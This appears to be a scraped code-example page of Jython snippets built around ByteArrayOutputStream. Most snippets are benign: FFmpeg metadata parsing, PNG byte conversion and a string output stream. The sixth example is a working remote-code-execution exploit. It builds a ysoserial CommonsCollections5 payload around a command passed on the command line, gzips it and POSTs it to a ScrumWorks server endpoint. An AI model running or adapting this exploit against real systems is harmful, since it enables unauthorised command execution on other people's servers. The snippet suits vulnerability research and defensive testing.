Exemplo n.º 1
0
 def parseFFmpeg(self, parent):
     if parent is not None:
         object = parent.getObject()
         if object is not None:
             payload = None
             try:
                 payload = object.getPayload("ffmpeg.info")
                 # Stream the content out to string
                 out = ByteArrayOutputStream()
                 IOUtils.copy(payload.open(), out)
                 payload.close()
                 self.__ffmpegRaw = out.toString("UTF-8")
                 out.close()
                 payload.close()
                 # And parse it
                 self.__ffmpegData = JsonSimple(self.__ffmpegRaw)
                 if self.__ffmpegData is None:
                     return False
                 else:
                     self.__ffmpegOutputs = self.__ffmpegData.getJsonSimpleMap(["outputs"])
                     return True
             except:
                 if payload is not None:
                     payload.close()
     return False
Exemplo n.º 2
0
 def parseFFmpeg(self, parent):
     if parent is not None:
         object = parent.getObject()
         if object is not None:
             payload = None
             try:
                 payload = object.getPayload("ffmpeg.info")
                 # Stream the content out to string
                 out = ByteArrayOutputStream()
                 IOUtils.copy(payload.open(), out)
                 payload.close()
                 self.__ffmpegRaw = out.toString("UTF-8")
                 out.close()
                 payload.close()
                 # And parse it
                 jsonData = JsonConfigHelper(self.__ffmpegRaw)
                 if jsonData is None:
                     return False
                 else:
                     self.__ffmpegData = jsonData.getJsonMap("/outputs")
                     return True
             except:
                 if payload is not None:
                     payload.close()
     return False
Exemplo n.º 3
0
 def image_byte_array(self):
     baos = ByteArrayOutputStream();
     ImageIO.write( self.image(), "png", baos );
     baos.flush();
     image_bytes = baos.toByteArray();
     baos.close()
     return image_bytes
Exemplo n.º 4
0
 def image_byte_array(self):
     baos = ByteArrayOutputStream()
     ImageIO.write(self.image(), "png", baos)
     baos.flush()
     image_bytes = baos.toByteArray()
     baos.close()
     return image_bytes
Exemplo n.º 5
0
class StringOutputStream(OutputStream):
    def __init__(self):
        self.stream = ByteArrayOutputStream()

    def write(self, b, off, len):
        self.stream.write(b, off, len)

    def get_string(self):
        output = String(self.stream.toByteArray())
        if self.stream is not None:
            self.stream.close()
        return output
Exemplo n.º 6
0
payloadName = "CommonsCollections5"
payloadClass = ObjectPayload.Utils.getPayloadClass(payloadName);

if payloadClass is None:
  print("Can't load ysoserial payload class")
  exit(2);

# serialize payload
payload = payloadClass.newInstance()
exploitObject = payload.getObject(sys.argv[3])

# create streams
byteStream = ByteArrayOutputStream()
zipStream = GZIPOutputStream(byteStream)
objectStream = ObjectOutputStream(zipStream) 
objectStream.writeObject(exploitObject)

# close streams
objectStream.flush()
objectStream.close()
zipStream.close()
byteStream.close()

# http request
print "sending serialized command"
conn = httplib.HTTPConnection(sys.argv[1] + ":" + sys.argv[2])
conn.request("POST", "/scrumworks/UFC-poc-", byteStream.toByteArray())
response = conn.getresponse()
conn.close()
print "done"
---